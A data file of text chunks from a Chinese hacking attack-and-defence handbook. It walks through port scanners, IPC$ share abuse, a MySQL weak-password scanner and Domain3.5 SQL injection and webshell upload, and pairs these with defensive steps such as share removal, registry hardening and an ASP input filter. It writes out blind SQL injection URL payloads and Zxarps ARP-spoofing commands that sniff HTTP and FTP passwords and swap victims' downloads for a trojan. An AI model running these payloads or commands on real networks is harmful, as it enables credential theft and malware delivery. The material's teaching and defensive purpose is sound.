    {"text": "● 经常改变密码（密码最好以英文开头，能不要以数字开头，数字只有10个，英文大小写有52个）； ● 经常删除Cookies文件（一般网页密码就存在此文件中）；"},
    {"text": "-Win9x和Win Me（Windows系统在Windows文件夹中）： c:\\windows\\cookies c:\\windows\\profiles\\用户名\\cookies -Win2000与WinXP（以Windows系统在C盘WinNT文件夹中）； c:\\winnt\\cookies c:\\documents and settings\\用户名\\cookies 找到Cookies文件夹后将除了index.dat文件外的其他文件全部直接删除即可。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 2.5 小结 本章中笔者仅介绍了一个可免费获得的UNIX下的扫描器Nessus，而将Windows操作系统下的扫描器作为重点，放在第3章、第4章和第5章来分门别类地进行介绍。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 11.1 “啊D网络工具包”的剖析及防范 11.1.1 “啊D 网络工具包”简介 本小节为读者介绍“啊D网络工具包”的使用，因为它在黑客的内网攻击中使用率较高，其功能综述如下。"},
    {"text": "● 网络状态查看：查看本地计算机打开的端口信息。 ● 主机查询：查找相应地区的IP 地址。 ● Ping：是用于判断某IP 是否和网络连接的好帮手。 ● 域名<=>IP：将域名解析成IP。 ● 路由查看：查看某IP 经过的路由。"},
    {"text": "图11-2所示，即为“IP端口扫描”功能界面，使用此功能可以查看整个网段的某个打开的端口，在“IP”处填写欲检测计算机的IP地址范围，并在“端口”处填写欲刺探的端口编号，如图11-3所示。 单击“开始扫描”按钮，“啊D网络工具包”即可开始对相应的计算机及端口进行探测了，如图11-4所示。"},
    {"text": "图11-4所示的界面中已经列出了当前局域网中打开的相应端口的信息，单击界面下方的“常用端口列表”按钮，即可查看各个端口号码的说明，如图11-5所示。"},
    {"text": "图11-5 常用端口列表 图11-6 端口扫描界面 概念剖析：“IP端口扫描”和“端口扫描”有什么区别？ “IP端口扫描”是指探测一个网段内的多台计算机的某一个特定端口信息，而“端口扫描”是指对一台特定的计算机扫描一个范围内的端口信息。"},
    {"text": "在图11-6所示界面中，“主机”处填写目标计算机的地址信息（可以是域名或者IP地址），在“端口”处填写欲探测的端口范围，端口范围为 1～65 535，如图 11-7 所示，它可以扫描使用TCP协议的主机端口。"},
    {"text": "在图11-9所示的界面中填写局域网中的IP地址范围，然后单击“读取”按钮，程序即开始对所选定的IP地址范围内的计算机进行扫描，并将MAC地址结果在界面下方显示出来，如图11-10所示。"},
    {"text": "在图11-11所示的界面中，选择左上角的“网段”复选框在“Ping网段”与“Ping指定IP”间进行转换，并在“测试主机”处填写目标主机，然后单击“Ping”按钮即可开始对目标主机进行Ping操作，如图11-12所示。 图11-11 Ping 检测 图11-12 开始检测 注意：Ping 某个 IP 没反应并不代表所 Ping 的计算机没有和网络连在一起，相当于 DOS 系统下的“Ping”命令，此功能适合在网吧限制使用DOS系统状态的用户。"},
    {"text": "在图11-13所示的界面中，在“查所在地”处填写IP地址，然后单击“查看”按钮即可查询对应IP的所在地，如图11-14所示； 或者在“查对应IP”处填写地名，然后单击“查看”按钮即可查询对应地址的IP范围，如图11-15所示。 图11-13 主机查询界面 图11-14 查所在地 ● 步骤13。 单击【 】按钮切换主界面至“网络状态”选项卡，在此界面中，程序将自动列举当前本地计算机的连网信息，如图11-16所示。"},
    {"text": "在图 11-17 所示的界面中填写欲转换的域名，然后单击“开始转换”按钮，即可将相应的域名转换为IP地址，如图11-18所示，或者填入欲转换的IP地址，然后单击“开始转换”按钮，即可查询目标服务器上所绑定的域名信息，如图11-19所示。 图11-17 域名<=>IP界面 图11-18 域名转IP ● 步骤16。"},
    {"text": "通过上述步骤的操作，相信读者已经知道了“啊D网络工具包”的原理，用“啊D网络工具包”也可以进行局域网的入侵，希望读者能了解这些攻击的基本原理后，为后面要介绍的防御方法打下基础。 图11-19 IP转域名 图11-20 路径查看界面 图11-21 路由信息 11.1.3 “啊D 网络工具包”的防范 本小节将详细介绍如何防范“啊D网络工具包”的攻击。"},
    {"text": "通常来说，受到此类攻击的主要原因是计算机用户的安全意识不高，做好此类攻击的防范最好的方法就是“对症下药”。 从上面的攻击实例中不难领悟，对方计算机从被扫描到被刺探信息，再到种植木马，其主要原因是因为对方系统存在“IPC$”漏洞。"},
    {"text": "IPC$（Internet Process Connection）是共享“命名管道”的资源，它是为了进程间通信而开放的命名管道，可以通过验证用户名和密码获得相应的权限，连接双方可以建立安全的通道并以此通道进行加密数据的交换，从而实现对远程计算机的访问。"},
    {"text": "NT/2000在提供了IPC功能的同时，在初次安装系统时还打开了默认共享，即所有的逻辑共享（C、D、E……）和系统目录WinNT或Windows（admin）共享。"},
    {"text": "在排除管理员会禁止导出用户列表的前提下，利用这个空的连接，还可以得到目标主机上的用户列表。 这里所说的“空连接”，指不需要账号和密码，想要拥有更多的权限，必须要有对应权限的账号和密码才能进行登录，如果用户的计算机密码设置简单，即弱口令，“啊 D 网络工具包”将很容易将其破解。"},
    {"text": "IPC$连接可以实现远程登录及对默认共享的访问； 而139端口的开启表示netbios协议的应用，我们可以通过139、445（Windows2000）端口实现对共享文件/打印机的访问，因此一般来讲，IPC$连接是需要139或445端口来支持的。"},
    {"text": "默认共享是为了方便管理员远程管理而默认开启的共享（你可以关闭它），所有的逻辑盘（C$、D$、E＄……）和系统目录WinNT或Windows（admin$），都可通过IPC$连接实现对这些默认共享的访问（前提是对方没有关闭这些默认共享），所以防范此类攻击的第三种方法就是关闭默认的共享，方法如下。"},
    {"text": "1.通过批处理实现 保存如下文件为*.bat文件，并运行，即可删除当前计算机中的所有共享。 net share ipc$ /delete net share admin$ /delete net share c$ /delete net share d$ /delete （依次类推） 2.手动实现 右键单击“我的电脑”，选择“管理”，打开“计算机管理”界面，依次单击“共享文件夹”→“共享”，即可直观地查看当前系统所开放的共享，选择其中一项，单击鼠标右键，如图11-22所示，然后单击“停止共享”即可。"},
    {"text": "图11-22 计算机管理界面 3.修改注册表实现 依次单击“开始”菜单→“运行”，输入“regedit”打开注册表编辑器，定位注册表到：“ HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\lanmanserver\\parameters ”项，如图11-23所示。"},
    {"text": "双击右侧窗口中的“AutoShareServer”项将键值由1改为0，这样就能关闭硬盘各分区的共享。 如果没有AutoShareServer项，可自己新建一个再改键值。 然后，在这一窗口下找到“AutoShareWks”项，把键值由1改为0，即可关闭admin$共享，如图11-24所示。 最后一步是禁止空连接进行枚举，定位注册表到：“HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa”处，如图11-25所示，找到类型为“DWORD”的键值“RestrictAnonymous”，双击进行修改，将其值改为：“00000001”，如图 11-26所示。"},
    {"text": "图11-23 定位注册表 图11-24 修改键值界面 图11-25 定位注册表 图11-26 修改内容 通过以上4个步骤即可有效地防范来自“啊D网络工具包”的攻击。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 5.4 功能强大的弱口令扫描器 弱口令永远是黑客追逐的目标，对于开放远程登录功能的服务，如果拥有了一个可登录的用户，就像对于守卫森严的院落拥有了一张通行证。MySQL是Internet中常见的数据库，经常与PHP搭配在一起构建网站。随着人们安全意识的提高，数据库的弱口令虽已不像前些年那样普遍，但对于有心的黑客，如果进行扫描，经常会收到意外的惊喜。 笔者介绍的MySQL弱口令扫描器名为MySQL Weak Pass Scanner，是一款由网名为kEvin1986的网友开发的扫描工具，可以对一个C类网段进行扫描，也可以对固定的用户和密码进行尝试。这款扫描器前几年在网络中应用非常广泛，现在也不失为一种黑客不可或缺的扫描器。 MySQL Weak Pass Scanner在很多黑客网站可以下载，一般为压缩包。扫描器程序包括一个可执行程序、两个 OCX控件、一个动态链接库，解压下载的压缩包后，运行扫描器程序，弹出如图5-6所示的对话框。 如图5-6所示，可以对扫描器进行简单的设置。首先可设置扫描的网段，扫描器最大可对C类网络进行扫描，如果设置B类网段，则仅对B类网络中IP地址的第三个8比特进行穷尽，最后的扫描结果也仅为一个C类网络所包含的计算机数。 图5-6 MySQL 弱口令扫描器对话框 设置完IP地址后，可对待扫描的MySQL用户名进行设置，一般为“sa”，对尝试的密码一般设为空，端口即为MySQL 数据库默认的3 306端口。 在网络速度较快时，超时时间使用默认的25即可，如果网络速度不是很快，应该将超时时间相应加大。 设置完毕后，单击“Scan”按钮即可开始扫描。 在获得WebShell后，利用MySQL弱口令进行提权是黑客经常使用的方法，其过程一般是上传提权用的程序，通过数据库命令进行注册，在本机用NC守候，激活注册的文件进行反弹，这样就可以得到cmdshell，而这个shell通常为系统权限。 通过MySQL弱口令获得WebShell也是黑客经常采用的手段，其过程是首先创建新表，在新表里写入精心构造的代码，将代码由表中导出为代码文件，保存在网站路径中，这个文件就成为黑客口中的WebShell。 对MySQL 弱口令进行扫描，除MySQL Weak Pass Scanner外，hscan 也是黑客经常使用的扫描器。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 10.1 Domain 3.5的剖析——网站安全检测 10.1.1 Domain 3.5 简介 “Dmain3.5”全称“旁注 Web 综合检测程序”，它是基于动态 Web 程序入侵检测的使用率极高的软件。"},
    {"text": "动态网页与静态网页是相对应的，准确地说，网页URL的后缀不是.htm、.html、.shtml、.xml等静态网页的常见形式，而是以.asp、.jsp、.php、.perl、.cgi等形式为后缀，并且在动态网页网址中有一个标志性的符号——“？"},
    {"text": "● 动态网页以数据库技术为基础，可以大大降低网站维护的工作量； ● 采用动态网页技术的网站可以实现更多的功能，如用户注册、用户登录、在线调查、用户管理、订单管理等；"},
    {"text": "SQL 注入是从正常的WWW 端口访问，看起来跟一般的Web页面访问没什么区别，所以目前市面上的防火墙都不会对SQL注入发出报警，如果管理员没有查看IIS日志的习惯，可能被入侵很长时间都不会发觉。"},
    {"text": "图10-1 Dmain3.5 主程序界面 图10-2 Dmain3.5 主界面 下面以实战的方式为读者做一个基于注入漏洞的入侵演示，其中包括对注入漏洞的利用、网站后台地址探测、旁注功能、上传漏洞利用功能以及密码文件的破解功能等，了解这些入侵之后可以为后面介绍的针对此工具的防御内容打好基础。"},
    {"text": "单击“连接”按钮，Dmain3.5会自动对指定网站的每一个超级链接进行逐一检测，然后判断是否存在注入漏洞，把存在注入漏洞的地方列在下方，如图10-4所示。"},
    {"text": "图10-4 中Domian3.5 界面下方红色的字体显示的就是该网站所存在的注入漏洞的地址，对其单击右键，进入“检测注入”功能界面，如图10-5和图10-6所示。"},
    {"text": "在图10-6所示的界面中，单击“开始检测”按钮，程序会判别这个当前注入点是否存在以及判断当前网站所使用的数据库类型（比如MsSql或者Access数据库等），如图10-7 （图中画圈）所示。"},
    {"text": "在图10-7所示的界面中单击“猜解表名”按钮，猜解当前数据库中的“表”信息，如图10-8所示。 图10-8 猜解表名界面 ● 步骤6。 选择步骤5中已猜解出的表名“admin”，然后单击“猜解列名”按钮，猜解当前“admin”表中的“列”信息，如图10-9所示。 图10-9 猜解列名界面 ● 步骤7。"},
    {"text": "根据图10-9所示的界面中所显示的列信息，根据名称判断可能存在密码内容的列名，然后在相应的列名前的复选框前打钩，并单击“猜解内容”按钮，开始破解数据库中的管理员账号和经过MD5加密的密码，如图10-10所示。"},
    {"text": "● http://www.xxx.com/news_type.asp?id=68 and (select count(*) from [admin])>0 ：此句判断是否有admin这个表，即判断admin表中的记录数量是否大于1，如果有一条以上返回真，反之为假，就会报错； ● http://www.xxx.com/news_type.asp?id=68 and (select count(user) from [admin])>0：判断admin表中是否存在“user”字段，返回为真，从而确定存在“user”这个字段； ● http://www. xxx.com/news_type.asp?id=68 and (select len(user) from [admin])>5：判断管理员的账户信息的长度； ● http://www. xxx.com /news_type.asp?id=68 and (select asc(mid(user,1,1)) from [admin])>100：判断管理员账号第一位的ascii码的范围，页面返回正常，为真，说明第一位是大于100的，后几位的猜测原理相似。"},
    {"text": "MD5 的全称是 Message Digest Algorithm 5（信息-摘要算法）， 在 20 世纪 90 年代初由 MIT Laboratory for Computer Science和RSA Data Security Inc的Ronald L. Rivest开发出来，经MD2、MD3和MD4发展而来。"},
    {"text": "它的作用是让大容量信息在用数字签名软件签署私人密钥前被“压缩”成一种保密的格式（就是把一个任意长度的字节串变换成一定长的大整数）。"},
    {"text": "虽然这些算法的结构或多或少有些相似，但MD2的设计与MD4和MD5完全不同，MD2是为8位机器做过设计优化的，而MD4和MD5却是面向32位的计算机。"},
    {"text": "2.表名和列名自定义功能 有些情况下即使一个网站存在注入漏洞，使用Domain3.5还是检测不出来“表名”或者“列名”，这是因为Domain3.5还没有“收录”相应的“表名”或者“列名”，我们可以根据个人的经验和收集的信息进行添加。"},
    {"text": "在图10-6 所示的界面中单击“表名”或者“列名”下方的“添加”按钮，就可以添加新的“表名”或者“列名”，然后单击“OK”按钮即可，如图10-11所示。"},
    {"text": "图10-11 添加表名或者列名 3.网站后台地址探测 “管理入口扫描”功能可以帮助查询网站的默认管理员登录页面，通过上面的注入方法得到管理员账号信息之后，黑客就可以尝试登录了。 当然，如果网站管理员修改了默认的登录后台路径，那么就需要使用“Google Hack”等方法查找网站后台。 切换到“管理入口扫描”选项卡，单击“扫描后台地址”按钮，如图10-12所示。 图10-12 查找网站后台 4.旁注功能 黑客的运气并不总是那么幸运，因为有一些安全知识的网站管理员会去修补网站所存在的注入漏洞，那么黑客是不是就没有办法进行入侵了呢？"},
    {"text": "顾名思义就是从旁注入的一种入侵方法，也就是利用主机上的一个虚拟站点进行渗透，得到黑客所要的 WebShell之后，再利用主机开放的程序以及一些非安全设置进行跨站式入侵。"},
    {"text": "例如，您要入侵A网站，但是在A网站上找不到漏洞，您可以选择和A网站同一服务器的B网站、C网站寻找漏洞。 上传漏洞也好，SQL注入也好，拿到WebShell后提升权限，在服务器上找到A网站的目录，再进行入侵。"},
    {"text": "图10-14 解析域名 图10-15 旁注检测 从图10-15中可以看出，此网站所在的服务器中一共有34个站点，当黑客不能成功地入侵其中的一个网站时，他将对其他的33个站点依次进行入侵，当其中的一个网站被黑客成功入侵后，将对目标网站进行入侵，这是黑客常用的攻击手段。"},
    {"text": "5.上传漏洞利用功能 黑客入侵一个网站的方式有很多种，除了上面提到的之外，还有一种是基于Web程序代码的缺陷造成的漏洞，这是一种比注入更有杀伤力的漏洞——“上传漏洞”。"},
    {"text": "上面已介绍，通过注入一个网站所得到的往往是数据库中的一些敏感信息，如管理员名称、密码等，但上传漏洞与之不同，它可以把ASP、JSP、CGI、PHP 等格式的脚本木马上传至服务器网站目录内。 如果管理员的安全意识不强，就可以直接拿到WebShell，从而减少了通过注入点破解管理员账号和密码的麻烦。"},
    {"text": "选择准备上传的“asp”文件，可以使用程序默认的diy.asp，也可自己选择asp后门文件。 选择“自选网页木马”项，然后单击“ ”按钮，选择自己的asp木马文件，如图10-17所示，然后单击“Open”按钮，并填写相应的Cookies信息。"},
    {"text": "6.数据库管理功能 “数据库管理”功能可以方便我们查看格式为“.mdb”的数据库文件，与 MS-Office 的Sccess一样，为本地计算机中没有安装数据库查看器的用户提供了方便，如图10-18所示。"},
    {"text": "图10-18 数据库管理功能 如果某个网站的管理员没有及时修改Web程序默认的数据库路径就直接使用的话，一般情况下，黑客将可以直接下载该网站的默认数据库，然后通过Domain3.5的数据库管理功能，就可以直接获得默认管理员账号和密码。 10.1.3 Domain 3.5 的防范 通过上面的介绍，不难理解使用此工具，可以瞬间使一个安全工作做的不够完善的网站被黑客入侵，如果您恰好是一名站长，您将如何面对这种情况呢？"},
    {"text": "1.注入攻击的防范 由于SQL注入是从正常的WWW端口访问，看起来与一般的Web页面访问没什么区别，如果网站管理员没查看IIS日志的习惯，可能被入侵很长时间都不会发觉。"},
    {"text": "但是由于这个行业的入门门槛不高，程序员的水平及经验也参差不齐，相当大一部分程序员在编写代码的时候，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。"},
    {"text": "<% if request(\"id\")<>\"\" then id = request(\"id\") else Response.Write(\"<script>\") Response.Write(\"alert('没有选定商品信息');\") Response.Write(\"history.back();\") Response.Write(\"</script>\") end if strsql=\"select * from pro_list where id=\";id set rs = Server.CreateObject(\"ADODB.Recordset\") rs.Open strsql, conn, 1, 1 if rs.recordcount=0 then Response.Write(\"<script>\") Response.Write(\"alert('没有选定商品信息');\") Response.Write(\"history.back();\") Response.Write(\"</script>\") end if %> 这是从一个产品网站程序中提取的一段代码，不难发现，这段代码的功能是，获得从客户端提交的变量“ID”号码，然后从数据库中得到对应的产品信息。 其中第二行中的“if request(\"id\")<>\"\"”，判断了提交的“ID”值是否为空，如果为空将给出“没有选定商品信息”的信息，如果不为空就放入到数据库进行查询\"select * from pro_list where id=\";id。"},
    {"text": "细心的读者可能已经发现，程序的作者并没有对此变量进行过滤和检查，即黑客可以构造提交格式的语句并放入数据库中执行，而没有任何阻拦。"},
    {"text": "<% Function Checkstr(Str) If Isnull(Str) Then CheckStr = \"\" Exit Function End If Str = Replace(Str,Chr(0),\"\", 1, －1, 1) Str = Replace(Str, \"\"\"\", \"\"\", 1, －1, 1) Str = Replace(Str,\"<；"},
    {"text": "\", 1, －1, 1) Str = Replace(Str, \"script\", \"script\", 1, －1, 0) Str = Replace(Str, \"SCRIPT\", \"SCRIPT\", 1, －1, 0) Str = Replace(Str, \"Script\", \"Script\", 1, －1, 0) Str = Replace(Str, \"script\", \"Script\", 1, －1, 1) Str = Replace(Str, \"object\", \"object\", 1, －1, 0) Str = Replace(Str, \"OBJECT\", \"OBJECT\", 1, －1, 0) Str = Replace(Str, \"Object\", \"Object\", 1, －1, 0) Str = Replace(Str, \"object\", \"Object\", 1, －1, 1) Str = Replace(Str, \"applet\", \"applet\", 1, －1, 0) Str = Replace(Str, \"APPLET\", \"APPLET\", 1, －1, 0) Str = Replace(Str, \"Applet\", \"Applet\", 1, －1, 0) Str = Replace(Str, \"applet\", \"Applet\", 1, －1, 1) Str = Replace(Str, \"[\", \"[\") Str = Replace(Str, \"]\", \"]\") Str = Replace(Str, \"\"\"\", \"\", 1, －1, 1) Str = Replace(Str, \"=\", \"=\", 1, －1, 1) Str = Replace(Str, \"’\", \"’’\", 1, －1, 1) Str = Replace(Str, \"select\", \"select\", 1, －1, 1) Str = Replace(Str, \"execute\", \"execute\", 1, －1, 1) Str = Replace(Str, \"exec\", \"exec\", 1, －1, 1) Str = Replace(Str, \"join\", \"join\", 1, －1, 1) Str = Replace(Str, \"union\", \"union\", 1, －1, 1) Str = Replace(Str, \"where\", \"where\", 1, －1, 1) Str = Replace(Str, \"insert\", \"insert\", 1, －1, 1) Str = Replace(Str, \"delete\", \"delete\", 1, －1, 1) Str = Replace(Str, \"update\", \"update\", 1, －1, 1) Str = Replace(Str, \"like\", \"like\", 1, －1, 1) Str = Replace(Str, \"drop\", \"drop\", 1, －1, 1) Str = Replace(Str, \"create\", \"create\", 1, －1, 1) Str = Replace(Str, \"rename\", \"rename\", 1, －1, 1) Str = Replace(Str, \"count\", \"count\", 1, －1, 1) Str = Replace(Str, \"chr\", \"chr\", 1, －1, 1) Str = Replace(Str, \"mid\", \"mid\", 1, －1, 1) Str = Replace(Str, \"truncate\", \"truncate\", 1, －1, 1) Str = Replace(Str, \"nchar\", \"nchar\", 1, －1, 1) Str = Replace(Str, \"char\", \"char\", 1, －1, 1) Str = Replace(Str, \"alter\", \"alter\", 1, －1, 1) Str = Replace(Str, \"cast\", \"cast\", 1, －1, 1) Str = Replace(Str, \"exists\", \"exists\", 1, －1, 1) Str = Replace(Str,Chr(13),\"<；"},
    {"text": "\", 1, －1, 1) CheckStr = Replace(Str,\"’\",\"’’\", 1, －1, 1) End Function %> 在前面所讲到的“产品网站”存在漏洞的脚本文件中可这样做检查： if request(\"id\")<>\"\" then id = Checkstr (request(\"id\")) 这样操作以后，就能在很大程度上抵御来自“注入”工具所带来的威胁。 2.旁注攻击的防范 通过前面对旁注攻击的介绍，不难理解黑客要想入侵某网站，首先都会进入该网站，来查看检测其是否存在脚本注入的漏洞。 假如没有发现任何可利用价值后，黑客就会想到旁注攻击，会查看服务器上其他的网站是否存在安全漏洞，然后再利用有漏洞的网站进行入侵，获取WebShell甚至是整个服务器的控制权，从而我们架设在其服务器上的网站安全，也就不攻自破了。 首先需要一台安全的服务器做后盾，并且配置好目录访问权限，然后对于一些存在危险的组件，如FSO/SHELL一类的组件一定要将其禁用，否则后果不堪设想。 3.网站后台地址被探测的防范 由于很多站长使用的都是网上比较流行的整站程序，所以一些敏感目录及文件的位置都是公开的，其中包括管理员后台登录页面、Access数据库地址，等等。"},
    {"text": "4.破解管理员密码的防范 通过上面的学习，不难发现 Domain3.5 对经过MD5 加密的密码文件的破解是通过暴力破解以及字典破解两种方式来完成的。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 11.2 Dotpot PortReady 工具的剖析及防范——多线程端口扫描工具 11.2.1 Dotpot PortReady 工具简介 Dotpot PortReady 是一个多线程的端口扫描工具，用于进行快速端口扫描。它具有极快的速度和方便友好的操作界面，能快速地对大网段范围进行“Connect”方式端口扫描。 Dotpot PortReady工具具有获取端口标识的功能，可以用来快速地获取端口标识（Banner），默认对80端口标识进行特别处理，并能方便地获取WebServer类型。 Dotpot PortReady 同时提供Windows图形版本和控制台版本，无论是在图形环境下，还是在控制台模式中，都可以方便自如地进行端口扫描。 11.2.2 Dotpot PortReady 工具的剖析 通过上面对Dotpot PortReady的介绍，可以知道它提供两种扫描方式，即GUI 版本的扫描和基于控制台下的扫描，下面对这两种方式分别进行介绍。 Dotpot PortReady 图形版的使用方法 ● 步骤1。 双击直接运行Dotpot PortReady 主程序，如图11-27 所示，其主界面如图11-28 所示。 图11-27 Dotpot PortReady主程序 图11-28 Dotpot PortReady 主界面 ● 步骤2。 在图 11-28 所示的程序界面中的“起始”地址处和“停止”地址处分别填写欲扫描的网段范围，如图11-29所示。 图11-29 填写IP范围 ● 步骤3。 在图 11-29 所示程序界面中，在“端口”处填写欲刺探的端口号码，并在“列表”前的复选框打钩，如图11-30所示。 ● 步骤4。 在图11-30所示界面中单击“扫描”按钮开始扫描，当在所设定的IP范围内有对外开放“1433”端口的计算机，就会在窗口下方的列表框中列出来，如图11-31所示。 图11-30 填写端口号 图11-31 IP 列表 ● 步骤5。 上面介绍了扫描一个网段内计算机的某一范围内的端口的方法，下面将介绍如何使用此工具扫描特定网站的某一范围内的端口。在程序主界面内“起始”IP和“停止”IP处填写一个固定的IP地址，然后在“范围”前的复选框中打钩，并填写端口的范围，如图11-32所示。 ● 步骤6。 在图 11-32 所示的界面中单击“扫描”按钮即可开始扫描，扫描结果将显示在下方的列表框中，如图11-33所示。 图11-32 填写端口内容 图11-33 查看结果 上面为读者介绍了Dotpot PortReady图形版的使用方式，其也可以进行“控制台”的使用。 11.2.3 Dotpot PortReady 工具的防范 防范此类攻击的最好方式就是使用防火墙。作者推荐使用国产个人防火墙——天网。“天网”是一款非常好的防火墙软件，可以有效地阻挡各种攻击，有非常灵活的规则设置。 概念剖析：什么是“规则”？ “规则”是一系列的比较条件和一个对数据包的动作。即根据数据包的每一个部分来与设置的条件比较，当符合条件时，就可以确定对该包放行或者阻挡。 通过合理的设置规则就可以把有害的数据包挡在您的机器之外。如果不熟悉网络，最好不要调整它，可以直接使用天网防火墙帮您设计规则。如果熟悉网络，就可以非常灵活地设计合适自己使用的规则。虽然天网有些过于敏感，经常对一些正常的文件传送报警，但这并不妨碍该软件成为优秀的防火墙软件。 1.安装天网防火墙 ● 步骤1。 双击运行“天网”防火墙安装程序，如图11-34所示，弹出安装界面，如图11-35所示。 图11-34 天网安装程序 ● 步骤2。 在图 11-35 所示的界面中，选中下方“我接受此协议”前边的对钩，并单击“下一步”按钮继续安装，如图11-36所示。单击“浏览”按钮更换安装位置，如图11-37所示。 图11-35 安装界面（1） 图11-36 安装界面（2） ● 步骤3。 在图11-37所示的界面中单击“下一步”按钮继续安装，如图11-38和图11-39所示。 ● 步骤4。 最后一步将开始安装程序，如图11-40所示，安装完成之后，重新启动计算机即可。 图11-37 更换安装位置 图11-38 安装界面（3） 图11-39 安装界面（4） 图11-40 开始安装 2.使用天网防火墙 ● 步骤1。 运行天网防火墙主程序，如图11-41所示，其主界面如图11-42所示。 图11-41 “天网防火墙”主程序 图11-42 “天网防火墙”主界面 ● 步骤2。 单击“IP规则管理”按钮，设置规则，如图11-43所示。 ● 步骤3。 通常来说，选中图11-43所示的所有功能，最后单击“保存”按钮即可防范类似DotpotPortReady工具的探测。 ● 步骤4。 当天网防火墙监控到类似的攻击之后，将会发出“滴滴”声报警，单击天网防火墙主界面中的“日志”按钮，即可查看攻击的来源以及时间，如图11-44所示。 图11-43 IP规则管理界面 图11-44 查看日志"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 7.6 Zxarps嗅探器——简单方便的嗅探工具 7.6.1 Zxarps 嗅探器简介 Zxarps嗅探器是由幻影旅团开发的一款基于命令行的工具，同样体积很小，只有14.7KB。 将Zxarps嗅探器同X-Spoof嗅探器比较，通过上一节的介绍，X-Spoof嗅探器需要手工添加准备ARP欺骗并且嗅探的机器，比较烦琐，而Zxarps嗅探器可以很简单地ARP欺骗整个局域网并进行嗅探。 Zxarps嗅探器的功能比较强大，可以在局域网中欺骗其他计算机来实现在合法网页中插入恶意代码，监控其他计算机的下载文件，并修改下载地址到自己所指定的地址等目的。 7.6.2 Zxarps 嗅探器的使用方法 Zxarps嗅探器无需安装，它是绿色版的，具体使用方法如下。 1.使用Zxarps嗅探器 在使用Zxarps嗅探器之前机器上必须安装有winpcap软件，否则无法安装，winpcap的安装在以前的章节中介绍过。 直接运行目录下的cmd.bat，打开命令行窗口，运行Zxarps嗅探器，如图7-104和图7-105所示。 图7-104 运行根目录下的cmd.bat文件 图7-105 不加参数运行显示帮助信息 Zxarps嗅探器列出了本机标号为0网卡上的IP地址和MAC地址信息，这个标号是为了让多网卡的计算机正确选择网卡信息而设计的，需要记住该标号，后面会用到。"},
    {"text": "● -sethost [ip]：默认是网关，可以指定别的IP 地址。 ● -port [port]：关注的端口，用“-”指定范围，用“，”隔开，没指定默认关注所有端口。"},
    {"text": "● -logfilter [string]：设置保存数据的条件，必须“+-_”做前缀，后跟关键字，“,”用来隔开关键字，多个条件以“|”隔开，所有带“+”前缀的关键字都出现的包则写入文件，带“-”前缀的关键字出现的包不写入文件，带“_”前缀的关键字只要一个符合则写入文件（如有“+-”条件也要符合）。 ● -save_a [filename]：将捕捉到的数据写入文件，ACSII 模式。 ● -save_h [filename]：HEX 模式。"},
    {"text": "● -hackdns [string]：DNS 欺骗，只修改UDP 的报文，多个可用“，”隔开，格式为域名|IP，www.hacksa.com|222.22.2.2,www.baidu.com|1.1.1.1。"},
    {"text": "图7-106 获取HTTP 的80 端口信息 首先程序会扫描在我们规定的IP范围内的存活主机，从图中我们看出当前有3台计算机在线，并且这3台计算机发向80端口的数据都已经写入到指定的sniff.log文件中。"},
    {"text": "图7-107 保存到文件 由于这些信息都是杂乱无章的，从中得不到对我们有价值的信息，要想得到有用的账号和密码等信息，需要再添加一些过滤的规则来缩小嗅探范围。"},
    {"text": "输入命令Zxarps -idx 0 -ip 192.168.1.2-192.168.1.254 -prot 80 -logfilter “+POST,+email,+ password” -save_a sniff2.log。 这条命令是嗅探IP 地址192.168.1.2 到192.168.1.254 之间流过80端口的数据，而数据包中必须包括“post”、“email”、“password”等关键字，并且以ASCII码的方式保存到sniff2.log文件中，这样我们就不会得到一些杂乱无章的我们不感兴趣的数据了，而是一些有规则的敏感信息，如图7-108所示。"},
    {"text": "打开程序目录，看到sniff2.log已经被创建了，如图7-109所示。 图7-109 获得精确的记录文件 打开sniff2.log看到了被我们捕获的数据包，是IP地址为192.168.1.101的用户访问了校内网的信息。"},
    {"text": "上面所述的是HTTP密码的嗅探，下面将介绍FTP密码的嗅探技术，我们输入以下命令： Zxarps -idx 0 -ip 192.168.1.2-192.168.1.254 -port 21,2121 -spoofmode 2 -logfilter \"_user,_pass\" -save_a sniff.log，是指在标号为0 的网卡上嗅探IP 为192.168.1.2到192.168.1.254 之间的计算机21端口的信息，欺骗目标机发送数据到本机，然后把捕获的数据以ASCII码的形式保存在程序目录下的sniff.log文件中。"},
    {"text": "这里需要说一下，规则字段中的下划线“_”和符号“+”的区别是“_”中包括的字段只需要存在任意一个就是符合规则的，而“+”包含的字段在数据包中必须要全部包括才会被认为是符合要求的，如图7-111所示。"},
    {"text": "图7-111 FTP 账号信息的嗅探 ● 步骤2。 打开程序目录，找到sniff.log后打开，就可以看到嗅探到的FTP账号和密码，这是在目标机不知情的情况下被捕获的，如图7-112所示。 图7-112 捕获成功并保存在根目录下 5.同时嗅探HTTP密码和FTP密码 如果想同时嗅探HTTP密码和FTP密码，可以使用“|”符号进行连接。 我们可以输入命令 : Zxarps -idx 0 -ip 192.168.1.2-192.168.1.254 -port 80,21 -spoofmode 2 -logfilter \"+post,+user,+passw|_user,_pass\" -save_a sniff.log，这样就可以同时将两种账号和密码一起嗅探，如图7-113所示。 图7-113 HTTP 和FTP密码同时被嗅探 6.修改下载地址 ● 步骤1。"},
    {"text": "首先在自己机器上配置好木马，然后安装“HTTP 傻瓜服务器”软件，把存放木马的目录设定为默认目录，然后单击“开始服务”按钮，使别人通过下载的方式下载我们本地机上的木马，如图7-114和图7-115所示。"},
    {"text": "输入命令：Zxarps -idx 0 -ip 192.168.1.2-192.168.254 -spoofmode 3 postfix \".rar,.exe,.zip\" -hackurl 192.168.1.125 -filename muma.exe。 当别人下载的文件后缀是“.exe”“.rar”“.zip”其中的一种时，通过Zxarps嗅探器就会欺骗别人下载我们本地的muma.exe文件，从而达到欺骗的目的。"},
